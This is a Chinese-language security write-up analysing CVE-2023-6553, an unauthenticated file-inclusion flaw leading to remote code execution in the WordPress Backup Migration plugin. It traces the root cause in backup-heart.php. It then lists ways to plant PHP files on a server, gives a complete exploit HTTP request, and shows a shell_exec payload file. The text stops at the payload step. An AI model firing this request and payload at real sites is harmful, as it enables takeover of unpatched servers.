插件: Backup Migration (backup-backup) ≤ 1.3.7
CVSS: 9.8(严重)
CWE: CWE-98 — 对用于 Include/Require 语句的文件名控制不当
身份验证要求: 无
影响: 远程代码执行
Backup Migration 是一个相当流行的 WordPress 插件(约 90,000+ 个活跃安装),可帮助用户创建备份副本。在备份过程中,插件有一个名为 backup-heart.php 的文件在后台运行——它通过 HTTP 头接收配置信息,以了解需要备份哪个目录、配置文件位于何处等信息。
问题在于,该文件完全信任客户端发送的 HTTP 头,直接将头值放入文件路径,然后使用 require_once() 从该路径加载文件。攻击者只需发送指向包含恶意 PHP 代码目录的 Content-Dir 头 → 服务器就会自动包含并执行该文件。
值得注意的是,backup-heart.php 文件不需要身份验证——它只检查请求方法是否为 POST,而不验证任何 nonce 或用户权限。互联网上的任何人都可以向它发送请求。
⇒ 这是一个零点击漏洞。
| 属性 | 值 |
|---|---|
| CVE ID | CVE-2023-6553 |
| CVSS 评分 | 9.8(严重) |
| 插件 | backup-backup (Backup Migration) ≤ 1.3.7 |
| 身份验证 | 不需要 |
| 用户交互 | 无(零点击) |
| 已修复 | 版本 1.3.8 |
PHP 有 include()、require()、require_once() 等函数,用于将其他 PHP 文件包含到正在运行的程序中。当传给这些函数的文件路径来自用户输入且未经验证时,攻击者可以强制服务器包含他们想要的任何文件:
allow_url_include=On(通常默认禁用)。此 CVE 属于 LFI——攻击者控制传给 require_once() 的路径,使其指向攻击者已设法写入服务器的 PHP 文件。
许多开发人员认为 HTTP 头是只有服务器和客户端才知道的“内部”元数据。实际上,攻击者 100% 控制头内容——他们可以设置任何头名称和值。信任头就像信任表单输入一样——必须经过验证。
define() 与 PHP 常量define('NAME', $value) 会创建一个在整个应用程序中使用的常量。一旦被 define,该值就无法更改。如果 $value 来自攻击者,那么使用该常量的每个地方都会受到影响。
我首先使用 grep 在插件中搜索所有 require 和 include 语句:
grep -rn "require\|include" includes/

搜索结果返回了许多 require/include 调用。查看后发现,大多数是 banner/misc.php 和 banner/views/index.php 中的 include_once 调用——这些属于使用硬编码路径的管理员 UI 渲染代码,无法利用。
然而,backup-heart.php 中的两行引起了我的注意:
includes/backup-heart.php:64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118: require_once BMI_INCLUDES . '/bypasser.php';
第 118 行使用 require_once 和常量 BMI_INCLUDES——如果这个常量是硬编码的,那就是安全的。但向上看到第 64 行时,我发现 BMI_INCLUDES 是由另一个常量 BMI_ROOT_DIR 构造的。因此我们需要进一步追踪:BMI_ROOT_DIR 在哪里被赋值?
我再次使用 grep 进行追踪:
grep -n "BMI_ROOT_DIR" includes/backup-heart.php
结果:

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
第 62 行显示 BMI_ROOT_DIR 的值来自 $fields['content-dir']。这是一个变量,不是固定值——我们需要打开文件,看看 $fields 里包含什么。
我在 VS Code 中打开 backup-heart.php 第 62 行:
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);
// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

可以清楚地看到,$fields['content-dir'] 直接进入了 define()。现在我们需要确定 $fields 变量是在哪里被赋值的:
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
exit;
}
// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
$fields= getallheaders();
}
// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
$buffer= $value;
unset($fields[$key]);
$fields[strtolower($key)] = $value;
}


此时,根本原因变得非常清楚:$fields 保存着通过 getallheaders() 获取的所有 HTTP 头——完全由客户端控制。没有 wp_verify_nonce(),没有 current_user_can(),没有有效路径检查——它只是验证 POST 方法,然后直接读取头。
Attacker sends POST request with header Content-Dir: /path/to/attacker/
↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
↓
define('BMI_ROOT_DIR', "/path/to/attacker/") ← no validation
↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
↓
require_once "/path/to/attacker/includes/bypasser.php" ← executes PHP
↓
Attacker code runs with www-data privileges → RCE
根本原因总结: HTTP 头 → define() → require_once(),中间没有任何验证步骤。
我使用 Xdebug + VS Code 直观地确认了攻击流程。我在 backup-heart.php 的第 62 行和第 118 行设置了 2 个断点,然后使用 curl 发送了漏洞利用请求。
断点 1——第 62 行:
调试器正好停在 define('BMI_ROOT_DIR', $fields['content-dir']) 处。在“变量”面板中展开 $fields 变量,显示了一个包含 22 个元素的数组——包含客户端发送的所有 HTTP 头。具体来说:
content-dir = "/tmp/bmi/" — 这正是通过头发送的值,它被直接赋值给 BMI_ROOT_DIR 常量。content-abs = "/var/www/html/"、content-configdir = "/tmp/bmi/"、content-backups = "/tmp/bmi/back..." — 全部由攻击者控制。在将 content-dir 传给 define() 之前,没有应用任何验证或过滤步骤。

断点 2——第 118 行:
按 F5 后,调试器停在 require_once BMI_INCLUDES . '/bypasser.php' 处。查看状态:
$fields 仍然保留着 content-dir = "/tmp/bmi/" —— 证明该值在第 62 行到第 118 行之间没有被更改。{main} backup-heart.php 118:1 —— 代码从文件顶部直接执行到这个位置,绕过了任何中间件或身份验证检查。/tmp/bmi/includes/bypasser.php 的文件——该文件的内容由攻击者控制。
调试结果完美确认了第 3 步中分析的流程:HTTP 头从 getallheaders() → define() → require_once(),中间没有验证。
在触发包含之前,目标服务器上必须已经存在一个 PHP 文件。常见的技术包括:
| 方法 | 概念 |
|---|---|
| 日志投毒 | 在 User-Agent 中发送包含 <?php ... ?> 的请求 → 代码被写入访问日志 → 包含日志文件 |
| PHP 会话 | 将 PHP 代码写入位于 /tmp/sess_xxx 的会话文件 |
| 上传链 | 利用 WordPress 媒体/头像上传功能上传该文件 |
| 插件错误日志 | 插件会写入自己的错误日志——触发包含 PHP 代码的错误,从而将代码写入日志文件 |
发送一个 Content-Dir 指向包含 payload 目录的请求。服务器会自动 require 并执行攻击者的文件。
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/
必须提供所有 Content-* 头,因为 backup-heart.php 会在其他 define() 调用中使用它们——缺少头会触发 PHP 警告,并可能在执行到 require_once 之前中止运行。
curl -s -o /dev/null -w "%{http_code}" -X POST \
"http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"
返回 200——端点已开放,且不提示身份验证。

创建与 require_once 预期查找结构匹配的目录:{Content-Dir}includes/bypasser.php:
mkdir -p /tmp/bmi/includes
cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF
